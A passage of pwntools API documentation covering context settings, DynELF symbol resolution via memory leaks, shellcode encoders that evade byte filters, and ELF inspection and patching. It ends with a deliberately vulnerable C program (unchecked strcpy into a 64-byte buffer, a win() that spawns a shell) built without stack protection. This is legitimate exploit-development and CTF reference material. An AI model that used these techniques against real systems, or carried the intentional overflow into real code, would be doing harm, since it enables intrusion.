The setting will only apply when GDB is launched locally since remote hosts may not have the necessary requirements for the `gdbinit`.

If set to an empty string, GDB will use the default `~/.gdbinit`.

Default value is `""`.

kernel

Target machine's kernel architecture.

Usually, this is the same as `arch`, except when running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64).

Even then, this doesn't matter much – only when the the segment registers need to be known

log_console

Sets the default logging console target.

Examples

```
>>> context.log_level = 'warn'
>>> log.warn("Hello")
[!] Hello
>>> context.log_console=open('/dev/null', 'w')
>>> log.warn("Hello")
>>> context.clear()
```

log_file

Sets the target file for all logging output.

Works in a similar fashion to `log_level`.

Examples

```
>>> context.log_file = 'foo.txt' #doctest: +ELLIPSIS
>>> log.debug('Hello!') #doctest: +ELLIPSIS
>>> with context.local(log_level='ERROR'): #doctest: +ELLIPSIS
...     log.info('Hello again!')
>>> with context.local(log_file='bar.txt'):
...     log.debug('Hello from bar!')
>>> log.info('Hello from foo!')
>>> open('foo.txt').readlines()[-3] #doctest: +ELLIPSIS
'...:DEBUG:...:Hello!\n'
>>> open('foo.txt').readlines()[-2] #doctest: +ELLIPSIS
'...:INFO:...:Hello again!\n'
>>> open('foo.txt').readlines()[-1] #doctest: +ELLIPSIS
'...:INFO:...:Hello from foo!\n'
>>> open('bar.txt').readlines()[-1] #doctest: +ELLIPSIS
'...:DEBUG:...:Hello from bar!\n'
```

log_level

Sets the verbosity of pwntools logging mechanism.

More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.

Valid values are specified by the standard Python logging module.

Default value is set to `INFO`.

Examples

```
>>> context.log_level = 'error'
>>> context.log_level == logging.ERROR
True
>>> context.log_level = 10
>>> context.log_level = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG',
↳ 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
```

noproxy

Disable all actions which rely on proxy.

This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger).

This option can be set with the NOPROXY command-line argument.

os

Operating system of the target machine.

The default value is `linux`.

Allowed values are listed in `pwnlib.context.ContextType.oses`.

Examples

```
>>> context.os = 'linux'
>>> context.os = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux',
↳ 'windows']
```

```
oses = ['android', 'cgc', 'freebsd', 'linux', 'windows']
```

Valid values for `pwnlib.context.ContextType.os()`

proxy

Default proxy for all socket connections.

Accepts either a string (hostname or IP address) for a SOCKS5 proxy on the default port, **or** a tuple passed to `socks.set_default_proxy`, e.g. (`socks.SOCKS4`, `'localhost'`, `1234`).

```
>>> context.proxy = 'localhost' #doctest: +ELLIPSIS
>>> r=remote('google.com', 80)
Traceback (most recent call last):
...
ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno_
↳ 111] Connection refused
```

```
>>> context.proxy = None
>>> r=remote('google.com', 80, level='error')
```

quiet

Disables all non-error logging within the enclosed scope, *unless* the debugging level is set to `'debug'` or lower.

randomize

Global flag that lots of things should be randomized.

rename_corefiles

Whether pwntools automatically renames corefiles.

This is useful for two things:

- Prevent corefiles from being overwritten, if `kernel.core_pattern` is something simple like `"core"`.
- Ensure corefiles are generated, if `kernel.core_pattern` uses `apport`, which refuses to overwrite any existing files.

This only affects corefiles accessed via `process.corefile`.

Default value is `True`.

sign

Alias for `signed`

signed

Signed-ness for packing operation when it's not explicitly set.

Can be set to any non-string truthy value, or the specific string values `'signed'` or `'unsigned'` which are converted into `True` and `False` correspondingly.

Examples

```
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or
↳ a non-string truthy value
```

signedness

Alias for `signed`

```
signednesses = {'no': False, 'signed': True, 'unsigned': False, 'yes': True}
```

Valid string values for `signed`

silent

Disable all non-error logging within the enclosed scope.

terminal

Default terminal used by `pwnlib.util.misc.run_in_new_terminal()`. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.

timeout

Default amount of time to wait for a blocking operation before it times out, specified in seconds.

The default value is to have an infinite timeout.

See `pwnlib.timeout.Timeout` for additional information on valid values.

verbose

Enable all logging within the enclosed scope.

word_size

Alias for `bits`

class `pwnlib.context.Thread(*args, **kwargs)`

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as `pwnlib.context.Thread` and on the context singleton object inside the context module as `pwnlib.context.context.Thread`.

Threads created by using the native `:class'threading'.Thread'` will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print(context.arch)
...     context.arch = 'mips'
...     print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print(context.arch)
arm
```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

```
pwnlib.context.context = ContextType()
```

Global `ContextType` object, used to store commonly-used pwntools settings.

In most cases, the context is used to infer default variables values. For example, `asm()` can take an `arch` parameter as a keyword argument.

If it is not supplied, the `arch` specified by `context` is used instead.

Consider it a shorthand to passing `os=` and `arch=` to every single function call.

2.9 pwnlib.dynelf — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

Example

```
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, enhex(data or '')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main    = 0xfeedf4ce
libc    = 0xdeadb000
system  = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system
```

DynELF

class `pwnlib.dynelf.DynELF` (*leak*, *pointer=None*, *elf=None*, *libcdb=True*)

DynELF knows how to resolve symbols in remote processes via an infoleak or memleak vulnerability encapsulated by `pwnlib.memleak.MemLeak`.

Implementation Details:

Resolving Functions:

In all ELF's which export symbols for importing by other libraries, (e.g. `libc.so`) there are a series of tables which give exported symbol names, exported symbol addresses, and the hash of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., `'printf'`), it can be located in the hash table. Its location in the hash table provides an index into the string name table (`strtab`), and the symbol address (`symtab`).

Assuming we have the base address of `libc.so`, the way to resolve the address of `printf` is to locate the `symtab`, `strtab`, and hash table. The string `"printf"` is hashed according to the style of the hash table (`SYSV` or `GNU`), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into `libc.so` from the `symtab`.

Resolving Library Addresses:

If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the `link map`. This is a linked list structure which contains information about each loaded library, including its full path and base address.

A pointer to the `link map` can be found in two ways. Both are referenced from entries in the `DYNAMIC` array.

- In non-RELRO binaries, a pointer is placed in the `.got.plt` area in the binary. This is marked by finding the `DT_PLTGOT` area in the binary.
- In all binaries, a pointer can be found in the area described by the `DT_DEBUG` area. This exists even in stripped binaries.

For maximum flexibility, both mechanisms are used exhaustively.

Instantiates an object which can resolve symbols in a running binary given a `pwnlib.memleak.MemLeak` leaker and a pointer inside the binary.

Parameters

- **leak** (`MemLeak`) – Instance of `pwnlib.memleak.MemLeak` for leaking memory
- **pointer** (`int`) – A pointer into a loaded ELF file
- **elf** (`str`, `ELF`) – Path to the ELF file on disk, or a loaded `pwnlib.elf.ELF`.
- **libcdb** (`bool`) – Attempt to use `libcdb` to speed up `libc` lookups

bases ()

Resolve base addresses of all loaded libraries.

Return a dictionary mapping library path to its base address.

dump (*libs = False*, *readonly = False*)

Dumps the ELF's memory pages to allow further analysis.

Parameters

- **libs** (`bool`, *optional*) – True if should dump the libraries too (False by default)
- **readonly** (`bool`, *optional*) – True if should dump read-only pages (False by default)

Returns *a dictionary of the form – { address : bytes }*

static find_base (*leak, ptr*)

Given a `pwnlib.memleak.MemLeak` object and a pointer into a library, find its base address.

heap ()

Finds the beginning of the heap via `__curbrk`, which is an exported symbol in the linker, which points to the current brk.

lookup (*symb = None, lib = None*) → int

Find the address of `symbol`, which is found in `lib`.

Parameters

- **symb** (*str*) – Named routine to look up If omitted, the base address of the library will be returned.
- **lib** (*str*) – Substring to match for the library name. If omitted, the current library is searched. If set to `'libc'`, `'libc.so'` is assumed.

Returns Address of the named symbol, or `None`.

stack ()

Finds a pointer to the stack via `__environ`, which is an exported symbol in `libc`, which points to the environment block.

dynamic

Returns: Pointer to the `.DYNAMIC` area.

elfclass

32 or 64

elftype

`e_type` from the elf header. In practice the value will almost always be `'EXEC'` or `'DYN'`. If the value is architecture-specific (between `ET_LOPROC` and `ET_HIPROC`) or invalid, `KeyError` is raised.

libc

Leak the Build ID of the remote `libc.so`, download the file, and load an ELF object with the correct base address.

Returns An ELF object, or `None`.

link_map

Pointer to the runtime `link_map` object

`pwnlib.dynelf.gnu_hash` (*str*) → int

Function used to generated GNU-style hashes for strings.

`pwnlib.dynelf.sysv_hash` (*str*) → int

Function used to generate SYSV-style hashes for strings.

2.10 pwnlib.encoders — Encoding Shellcode

Encode shellcode to avoid input filtering and impress your friends!

`pwnlib.encoders.encoder.alphanumeric` (*raw_bytes*) → str

Encode the shellcode `raw_bytes` such that it does not contain any bytes except for `[A-Za-z0-9]`.

Accepts the same arguments as `encode` ().

`pwnlib.encoders.encoder.encode` (*raw_bytes, avoid, expr, force*) → str

Encode shellcode `raw_bytes` such that it does not contain any bytes in `avoid` or `expr`.

Parameters

- **raw_bytes** (*str*) – Sequence of shellcode bytes to encode.
- **avoid** (*str*) – Bytes to avoid
- **expr** (*str*) – Regular expression which matches bad characters.
- **force** (*bool*) – Force re-encoding of the shellcode, even if it doesn't contain any bytes in avoid.

`pwnlib.encoders.encoder.line(raw_bytes) → str`
 Encode the shellcode `raw_bytes` such that it does not contain any NULL bytes or whitespace.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.null(raw_bytes) → str`
 Encode the shellcode `raw_bytes` such that it does not contain any NULL bytes.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.printable(raw_bytes) → str`
 Encode the shellcode `raw_bytes` such that it only contains non-space printable bytes.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.scramble(raw_bytes) → str`
 Encodes the input data with a random encoder.

Accepts the same arguments as `encode()`.

class `pwnlib.encoders.i386.xor.i386XorEncoder`
 Generates an XOR decoder for i386.

```
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = b'/bin/sh\xcc\xcd\x80'
>>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
```

Shellcode encoder class

Implements an architecture-specific shellcode encoder

2.11 pwnlib.elf — ELF Executables and Libraries

Most exploitable CTF challenges are provided in the Executable and Linkable Format (ELF). Generally, it is very useful to be able to interact with these files to extract data such as function addresses, ROP gadgets, and writable page addresses.

2.11.1 ELF Modules

`pwnlib.elf.elf` — ELF Files

Exposes functionality for manipulating ELF files

Stop hard-coding things! Look them up at runtime with `pwnlib.elf`.

Example Usage

```
>>> e = ELF('/bin/cat')
>>> print(hex(e.address))
0x400000
>>> print(hex(e.symbols['write']))
0x401680
>>> print(hex(e.got['write']))
0x60b070
>>> print(hex(e.plt['write']))
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
b'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat', 'rb').read(1))
'  0:   c3                      ret'
```

Module Members

class `pwnlib.elf.elf.ELF` (*path*, *checksec=True*)
 Bases: `elftools.elf.elffile.ELFFile`
 Encapsulates information about an ELF file.

Example

```
>>> bash = ELF(which('bash'))
>>> hex(bash.symbols['read'])
0x41dac0
>>> hex(bash.plt['read'])
0x41dac0
>>> u32(bash.read(bash.got['read'], 4))
0x41dac6
>>> print(bash.disasm(bash.plt.read, 16))
0:   ff 25 1a 18 2d 00      jmp     QWORD PTR [rip+0x2d181a]      # 0x2d1820
6:   68 59 00 00 00         push   0x59
b:   e9 50 fa ff ff        jmp     0xfffffffffffffa60
```

asm (*address*, *assembly*)

Assembles the specified instructions and inserts them into the ELF at the specified address.

This modifies the ELF in-place. The resulting binary can be saved with `ELF.save()`

bss (*offset=0*) → int

Returns Address of the `.bss` section, plus the specified offset.

checksec (*banner=True, color=True*)

Prints out information in the binary, similar to `checksec.sh`.

Parameters

- **banner** (*bool*) – Whether to print the path to the ELF binary.
- **color** (*bool*) – Whether to use colored output.

debug (*argv=[], *a, **kw*) → *tube*

Debug the ELF with `gdb.debug()`.

Parameters

- **argv** (*list*) – List of arguments to the binary
- ***args** – Extra arguments to `gdb.debug()`
- ****kwargs** – Extra arguments to `gdb.debug()`

Returns *tube* – See `gdb.debug()`

disable_nx ()

Disables NX for the ELF.

Zeroes out the PT_GNU_STACK program header `p_type` field.

disasm (*address, n_bytes*) → *str*

Returns a string of disassembled instructions at the specified virtual memory address

dynamic_by_tag (*tag*) → *tag*

Parameters *tag* (*str*) – Named DT_XXX tag (e.g. 'DT_STRTAB').

Returns `elftools.elf.dynamic.DynamicTag`

dynamic_string (*offset*) → *bytes*

Fetches an enumerated string from the DT_STRTAB table.

Parameters *offset* (*int*) – String index

Returns *str* – String from the table as raw bytes.

dynamic_value_by_tag (*tag*) → *int*

Retrieve the value from a dynamic tag a la DT_XXX.

If the tag is missing, returns `None`.

fit (*address, *a, **kw*)

Writes fitted data into the specified address.

See: `packing.fit()`

flat (*address, *a, **kw*)

Writes a full array of values to the specified address.

See: `packing.flat()`

static_from_assembly (*assembly*) → *ELF*

Given an assembly listing, return a fully loaded ELF object which contains that assembly at its entry point.

Parameters

- **assembly** (*str*) – Assembly language listing
- **vma** (*int*) – Address of the entry point and the module's base address.

Example

```
>>> e = ELF.from_assembly('nop; foo: int 0x80', vma = 0x400000)
>>> e.symbols['foo'] = 0x400001
>>> e.disasm(e.entry, 1)
' 400000:      90                                nop'
>>> e.disasm(e.symbols['foo'], 2)
' 400001:      cd 80                                int    0x80'
```

static from_bytes (*bytes*) → ELF

Given a sequence of bytes, return a fully loaded ELF object which contains those bytes at its entry point.

Parameters

- **bytes** (*str*) – Shellcode byte string
- **vma** (*int*) – Desired base address for the ELF.

Example

```
>>> e = ELF.from_bytes(b'\x90\xcd\x80', vma=0xc000)
>>> print(e.disasm(e.entry, 3))
c000:      90                                nop
c001:      cd 80                                int    0x80'
```

get_machine_arch ()

Return the machine architecture, as detected from the ELF header.

get_section_by_name (*name*)

Get a section from the file, by name. Return None if no such section exists.

get_segment_for_address (*address*, *size=1*) → Segment

Given a virtual address described by a PT_LOAD segment, return the first segment which describes the virtual address. An optional *size* may be provided to ensure the entire range falls into the same segment.

Parameters

- **address** (*int*) – Virtual address to find
- **size** (*int*) – Number of bytes which must be available after *address* in **both** the file-backed data for the segment, and the memory region which is reserved for the data.

Returns Either returns a `segments.Segment` object, or None.

iter_segments_by_type (*t*)

Yields Segments matching the specified type.

num_sections ()

Number of sections in the file

num_segments ()

Number of segments in the file

offset_to_vaddr (*offset*) → int

Translates the specified offset to a virtual address.

Parameters **offset** (*int*) – Offset to translate

Returns *int* – Virtual address which corresponds to the file offset, or None.

Examples

This example shows that regardless of changes to the virtual address layout by modifying `ELF.address`, the offset for any given address doesn't change.

```
>>> bash = ELF('/bin/bash')
>>> bash.address == bash.offset_to_vaddr(0)
True
>>> bash.address += 0x123456
>>> bash.address == bash.offset_to_vaddr(0)
True
```

p16 (*address*, *data*, **a*, ***kw*)

Writes a 16-bit integer data to the specified address

p32 (*address*, *data*, **a*, ***kw*)

Writes a 32-bit integer data to the specified address

p64 (*address*, *data*, **a*, ***kw*)

Writes a 64-bit integer data to the specified address

p8 (*address*, *data*, **a*, ***kw*)

Writes a 8-bit integer data to the specified address

pack (*address*, *data*, **a*, ***kw*)

Writes a packed integer data to the specified address

process (*argv*=[], **a*, ***kw*) → *process*

Execute the binary with *process*. Note that *argv* is a list of arguments, and should not include *argv*[0].

Parameters

- **argv** (*list*) – List of arguments to the binary
- ***args** – Extra arguments to *process*
- ****kwargs** – Extra arguments to *process*

Returns *process*

read (*address*, *count*) → bytes

Read data from the specified virtual address

Parameters

- **address** (*int*) – Virtual address to read
- **count** (*int*) – Number of bytes to read

Returns A *str* object, or None.

Examples

The simplest example is just to read the ELF header.

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address, 4)
b'\x7fELF'
```

ELF segments do not have to contain all of the data on-disk that gets loaded into memory.

First, let's create an ELF file has some code in two sections.

```
>>> assembly = '''
... .section .A,"awx"
... .global A
... A: nop
... .section .B,"awx"
... .global B
... B: int3
... '''
>>> e = ELF.from_assembly(assembly, vma=False)
```

By default, these come right after eachother in memory.

```
>>> e.read(e.symbols.A, 2)
b'\x90\xcc'
>>> e.symbols.B - e.symbols.A
1
```

Let's move the sections so that B is a little bit further away.

```
>>> objcopy = pwnlib.asm._objcopy()
>>> objcopy += [
...     '--change-section-vma', '.B+5',
...     '--change-section-lma', '.B+5',
...     e.path
... ]
>>> subprocess.check_call(objcopy)
0
```

Now let's re-load the ELF, and check again

```
>>> e = ELF(e.path)
>>> e.symbols.B - e.symbols.A
6
>>> e.read(e.symbols.A, 2)
b'\x90\x00'
>>> e.read(e.symbols.A, 7)
b'\x90\x00\x00\x00\x00\x00\xcc'
>>> e.read(e.symbols.A, 10)
b'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

Everything is relative to the user-selected base address, so moving things around keeps everything working.

```
>>> e.address += 0x1000
>>> e.read(e.symbols.A, 10)
b'\x90\x00\x00\x00\x00\x00\xcc\x00\x00\x00'
```

save (*path=None*)

Save the ELF to a file

```
>>> bash = ELF(which('bash'))
>>> bash.save('/tmp/bash_copy')
>>> copy = open('/tmp/bash_copy', 'rb')
>>> bash = open(which('bash'), 'rb')
>>> bash.read() == copy.read()
True
```

search (*needle*, *writable* = *False*) → generator
 Search the ELF's virtual address space for the specified string.

Notes

Does not search empty space between segments, or uninitialized data. This will only return data that actually exists in the ELF file. Searching for a long string of NULL bytes probably won't work.

Parameters

- **needle** (*str*) – String to search for.
- **writable** (*bool*) – Search only writable sections.

Yields An iterator for each virtual address that matches.

Examples

An ELF header starts with the bytes `\x7fELF`, so we could be able to find it easily.

```
>>> bash = ELF('/bin/bash')
>>> bash.address + 1 == next(bash.search(b'ELF'))
True
```

We can also search for string the binary.

```
>>> len(list(bash.search(b'GNU bash'))) > 0
True
```

section (*name*) → bytes
 Gets data for the named section

Parameters **name** (*str*) – Name of the section

Returns *str* – String containing the bytes for that section

string (*address*) → str
 Reads a null-terminated string from the specified address

Returns A *str* with the string contents (NUL terminator is omitted), or an empty string if no NUL terminator could be found.

u16 (*address*, **a*, ***kw*)
 Unpacks an integer from the specified address.

u32 (*address*, **a*, ***kw*)
 Unpacks an integer from the specified address.

u64 (*address*, **a*, ***kw*)
 Unpacks an integer from the specified address.

u8 (*address*, **a*, ***kw*)
 Unpacks an integer from the specified address.

unpack (*address*, **a*, ***kw*)
 Unpacks an integer from the specified address.

vaddr_to_offset (*address*) → int
 Translates the specified virtual address to a file offset

Parameters **address** (*int*) – Virtual address to translate

Returns *int* – Offset within the ELF file which corresponds to the address, or `None`.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.vaddr_to_offset(bash.address)
0
>>> bash.address += 0x123456
>>> bash.vaddr_to_offset(bash.address)
0
>>> bash.vaddr_to_offset(0) is None
True
```

write (*address*, *data*)

Writes data to the specified virtual address

Parameters

- **address** (*int*) – Virtual address to write
- **data** (*str*) – Bytes to write

Note: This routine does not check the bounds on the write to ensure that it stays in the same segment.

Examples

```
>>> bash = ELF(which('bash'))
>>> bash.read(bash.address+1, 3)
b'ELF'
>>> bash.write(bash.address, b"HELO")
>>> bash.read(bash.address, 4)
b'HELO'
```

address

Address of the lowest segment loaded in the ELF.

When updated, the addresses of the following fields are also updated:

- *symbols*
- *got*
- *plt*
- *functions*

However, the following fields are **NOT** updated:

- *segments*
- *sections*

Example

```
>>> bash = ELF('/bin/bash')
>>> read = bash.symbols['read']
>>> text = bash.get_section_by_name('.text').header.sh_addr
>>> bash.address += 0x1000
>>> read + 0x1000 == bash.symbols['read']
True
>>> text == bash.get_section_by_name('.text').header.sh_addr
True
```

Type `int`

arch = `None`

Architecture of the file (e.g. 'i386', 'arm').

See: `ContextType.arch`

Type `str`

asan

Whether the current binary was built with Address Sanitizer (ASAN).

Type `bool`

aslr

Whether the current binary is position-independent.

Type `bool`

bits = `32`

Bit-ness of the file

Type `int`

build = `None`

Linux kernel build commit, if this is a Linux kernel image

Type `str`

buildid

GNU Build ID embedded into the binary

Type `str`

bytes = `4`

Pointer width, in bytes

Type `int`

canary

Whether the current binary uses stack canaries.

Type `bool`

config = `None`

Linux kernel configuration, if this is a Linux kernel image

Type `dict`

data

Raw data of the ELF file.

See: `get_data()`

Type `str`

dwarf

DWARF info for the elf

elftype

ELF type (EXEC, DYN, etc)

Type `str`

endian = 'little'

Endianness of the file (e.g. 'big', 'little')

Type `str`

entry

Address of the entry point for the ELF

Type `int`

entrypoint

Address of the entry point for the ELF

Type `int`

execstack

Whether the current binary uses an executable stack.

This is based on the presence of a program header `PT_GNU_STACK` being present, and its setting.

`PT_GNU_STACK`

The `p_flags` member specifies the permissions on the segment containing the stack and is used to indicate whether the stack should be executable. The absence of this header indicates that the stack will be executable.

In particular, if the header is missing the stack is executable. If the header is present, it may **explicitly** mark that the stack is executable.

This is only somewhat accurate. When using the GNU Linker, it uses `DEFAULT_STACK_PERMS` to decide whether a lack of `PT_GNU_STACK` should mark the stack as executable:

```
/* On most platforms presume that PT_GNU_STACK is absent and the stack is
 * executable. Other platforms default to a nonexecutable stack and don't
 * need PT_GNU_STACK to do so. */
uint_fast16_t stack_flags = DEFAULT_STACK_PERMS;
```

By searching the source for `DEFAULT_STACK_PERMS`, we can see which architectures have which settings.

```
$ git grep '#define DEFAULT_STACK_PERMS' | grep -v PF_X
sysdeps/aarch64/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
sysdeps/nios2/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
sysdeps/tile/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
```

Type `bool`

executable = None

True if the ELF is an executable

executable_segments

List of all segments which are executable.

See: *ELF.segments*

Type *list*

file = None

Open handle to the ELF file on disk

Type *file*

fortify

Whether the current binary was built with Fortify Source (-DFORTIFY).

Type *bool*

functions = {}

dotdict of name to *Function* for each function in the ELF

got = {}

dotdict of name to address for all Global Offset Table (GOT) entries

libc

If this *ELF* imports any libraries which contain 'libc[.-]', and we can determine the appropriate path to it on the local system, returns a new *ELF* object pertaining to that library.

If not found, the value will be None.

Type *ELF*

library = None

True if the ELF is a shared library

libs

address} for every library loaded for this ELF.

Type Dictionary of {path

linker = None

Path to the linker for the ELF

maps

address} for every mapping in this ELF's address space.

Type Dictionary of {name

memory = None

IntervalTree which maps all of the loaded memory segments

mmap = None

Memory-mapped copy of the ELF file on disk

Type *mmap.mmap*

msan

Whether the current binary was built with Memory Sanitizer (MSAN).

Type *bool*

native = None

Whether this ELF should be able to run natively

non_writable_segments

List of all segments which are NOT writeable.

See: *ELF.segments*

Type `list`

nx

Whether the current binary uses NX protections.

Specifically, we are checking for `READ_IMPLIES_EXEC` being set by the kernel, as a result of honoring `PT_GNU_STACK` in the kernel.

The **Linux kernel** directly honors `PT_GNU_STACK` to [mark the stack as executable](#).

```
case PT_GNU_STACK:
    if (elf_ppnt->p_flags & PF_X)
        executable_stack = EXSTACK_ENABLE_X;
    else
        executable_stack = EXSTACK_DISABLE_X;
    break;
```

Additionally, it then sets `read_implies_exec`, so that [all readable pages are executable](#).

```
if (elf_read_implies_exec(loc->elf_ex, executable_stack))
    current->personality |= READ_IMPLIES_EXEC;
```

Type `bool`

os = None

Operating system of the ELF

packed

Whether the current binary is packed with UPX.

Type `bool`

path = '/path/to/the/file'

Path to the file

Type `str`

pie

Whether the current binary is position-independent.

Type `bool`

plt = {}

dotdict of name to address for all Procedure Linkate Table (PLT) entries

relro

Whether the current binary uses RELRO protections.

This requires both presence of the dynamic tag `DT_BIND_NOW`, and a `GNU_RELRO` program header.

The [ELF Specification](#) describes how the linker should resolve symbols immediately, as soon as a binary is loaded. This can be emulated with the `LD_BIND_NOW=1` environment variable.

`DT_BIND_NOW`

If present in a shared object or executable, this entry instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.

(page 81)

Separately, an extension to the GNU linker allows a binary to specify a `PT_GNU_RELRO` program header, which describes the *region of memory which is to be made read-only after relocations are complete*.

Finally, a new-ish extension which doesn't seem to have a canonical source of documentation is `DF_BIND_NOW`, which has supposedly superseded `DT_BIND_NOW`.

`DF_BIND_NOW`

If set in a shared object or executable, this flag instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.

```
>>> path = pwnlib.data.elf.relro.path
>>> for test in glob(os.path.join(path, 'test-*')):
...     e = ELF(test)
...     expected = os.path.basename(test).split('-')[2]
...     actual = str(e.relro).lower()
...     assert actual == expected
```

Type `bool`

rpath

Whether the current binary has an RPATH.

Type `bool`

runpath

Whether the current binary has a RUNPATH.

Type `bool`

rxw_segments

List of all segments which are writeable and executable.

See: `ELF.segments`

Type `list`

sections

A list of `elftools.elf.sections.Section` objects for the segments in the ELF.

Type `list`

segments

A list of `elftools.elf.segments.Segment` objects for the segments in the ELF.

Type `list`

start

Address of the entry point for the ELF

Type `int`

statically_linked = None

True if the ELF is statically linked

sym

Alias for `ELF.symbols`

Type `dotdict`

symbols = {}
dotdict of name to address for all symbols in the ELF

ubsan
 Whether the current binary was built with Undefined Behavior Sanitizer (UBSAN).

Type *bool*

version = *None*
 Linux kernel version, if this is a Linux kernel image

Type *tuple*

writable_segments
 List of all segments which are writeable.

See: *ELF.segments*

Type *list*

class `pwnlib.elf.elf.Function` (*name, address, size, elf=None*)
 Encapsulates information about a function in an *ELF* binary.

Parameters

- **name** (*str*) – Name of the function
- **address** (*int*) – Address of the function
- **size** (*int*) – Size of the function, in bytes
- **elf** (*ELF*) – Encapsulating ELF object

address = *None*
 Address of the function in the encapsulating ELF

elf = *None*
 Encapsulating ELF object

name = *None*
 Name of the function

size = *None*
 Size of the function, in bytes

class `pwnlib.elf.elf.dotdict`
 Wrapper to allow dotted access to dictionary elements.
 Is a real *dict* object, but also serves up keys as attributes when reading attributes.
 Supports recursive instantiation for keys which contain dots.

Example

```
>>> x = pwnlib.elf.elf.dotdict()
>>> isinstance(x, dict)
True
>>> x['foo'] = 3
>>> x.foo
3
>>> x['bar.baz'] = 4
```

(continues on next page)

(continued from previous page)

```
>>> x.bar.baz
4
```

pwnlib.elf.config — Kernel Config Parsing

Kernel-specific ELF functionality

`pwnlib.elf.config.parse_kconfig(data)`

Parses configuration data from a kernel `.config`.

Parameters `data` (*str*) – Configuration contents.

Returns A `dict` mapping configuration options. “Not set” is converted into `None`, `y` and `n` are converted into `bool`. Numbers are converted into `int`. All other values are as-is. Each key has `CONFIG_` stripped from the beginning.

Examples

```
>>> parse_kconfig('FOO=3')
{'FOO': 3}
>>> parse_kconfig('FOO=y')
{'FOO': True}
>>> parse_kconfig('FOO=n')
{'FOO': False}
>>> parse_kconfig('FOO=bar')
{'FOO': 'bar'}
>>> parse_kconfig('# FOO is not set')
{'FOO': None}
```

pwnlib.elf.corefile — Core Files

Read information from Core Dumps.

Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.

Using Corefiles to Automate Exploitation

For example, if you have a trivial buffer overflow and don’t want to open up a debugger or calculate offsets, you can use a generated core dump to extract the relevant information.

```
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}
```



```
$ gcc crash.c -m32 -o crash -fno-stack-protector
```

```
